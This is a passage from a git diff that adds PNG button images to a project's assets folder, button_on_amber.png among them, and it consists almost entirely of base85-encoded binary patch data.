z+>j*`r8G&Fc^Ax>1C6LZ!7$C;P!IN-=4R}vP0zeuc|OmHSk_*QgVhB4_tj2C?mt;& zLEa?qH{j`igb%+*?MA3nY%>{jdgEG4VawVt==u;JwuT% z$BD@$awqO`4aGmnSARk9S7%t6JoS>F-oPW-)$vZzIo2->(eg)gW^G* zmb0MPGeQf6Z+hxQjOz`1O|uTli1JsHYQ`Xxw%dl1c*6%~!qRweF;>~_cViC|N9r8j zzvW@vWG&w%iPrSMsa>hiwEWZ1irU_`Vy7-1n4yG$Af}E=c|xG?`(B`2jh97i#|qaT zz}FToh)w68Nh(%ikLIZ;o`%}!C7246UM1FgV+aBEqX7-u{wtD20Fz8+`EKpS58LMZ z0n*)XSkJ#OJ+tlTCqLGCm936~QZCRN8Wu}!V7Xgd49sc}A~^Z|%|H`Yii3BS1Di>u z{^zW>Q1jn}tvX^kML67ovbSV39#t#kDN}`6zl80gHpHTyv*r~^%G|wyXxPn+Ea>c? z1`Yh=;-GWtWjzJ)#l>9=f-bkGJnC|5X3bVSm|&_gH==|lVc6RoLjw(c>Z~uDNg<1hu}v&soHSK2@4E_sR`fI@nfckD zF*#CM*lErfD1G2Jq}Cq^|Feh-nN;f030+x;rN>u|tW{^2d-LxE;kG3_($(L`O+^D zKqnn9nKktBbe}7nR5X4Z0!P?YZz`LAb^VKO+}IzXwGQRN`CX<2H_gy!?@H(7dSuK=VHbF#)z>O~FWrq)Fho#V zbH~LTOnql`gyG9dr1lEphCgg_D_MhDd}gp#^))WqBXD95hG$v_KFb)8s=q8e$~xb{ z%8XKYQc7Z?D;qf?ZyXitq8}JyS+r*}7x!xqDv)@D&XJnlg@|e;qi|KR_1}eTS}wAB zD#Tx!*69p>rM{5W*znYTX*{x1EbLJGV30JEy<8b?=enW6V#ErIjhhkYKSt_&rPR!) zCInWx1v&`kEN{GXIGAQ0Xa5$q1z>m7v06CfpgDANK2eRjy}KLItnngZEPDVjuxEC| zBmG&sGasm=0~z*DDunrnz1UXkxVkd=KieU`8qj7rM6sw*2v$|pb}wESXr%gH%a{UM zf_VOHHjmR7yBoMUmz)2+}jC)|IZecIresF4Y-Lsv0;PB+}qo$1%eiK|5AMn@l@p$2sqkq#@N*1wqfP}9Leg+n(f$jHKaP6 znG(EKk3aL_dQ&J1NWkW3sHq+3L4y0#4=BR!jkV$bv+XwyKCFI7Y$;@ICga#!3_vZw zrUN@84ZQgpSsG877;FAtTL(9WNrGrVAnZ4*cP9UzkEn{k*$QhM0Drw_NWhFcWCN@* zwilJLL@ikRU!%3UvLJsomJJ2KYKOl7tH#Ytdc)xb)jj{KaisrsT#dD4S*r&St&PSkN^YKs9?LOP3Y&~Uu;GL-ob&& zfc#Czsg5-KuU}VHWHWjp3;OJR;Ff340Y$V;p#7QghpHa%dk;S~2AotP@D`>9vW^4qeSne#XGZC=qtyL)I#L){a*qHn Nod<^6_wrX~pooZh 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 literal 0 HcmV?d00001 diff --git a/resources/ulc/src/src/assets/button_on_amber.png b/resources/ulc/src/src/assets/button_on_amber.png new file mode 100644 index 0000000000000000000000000000000000000000..02081db83ffd7d2d4501949f22db5f688cc7f9a7 GIT binary patch literal 19692 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 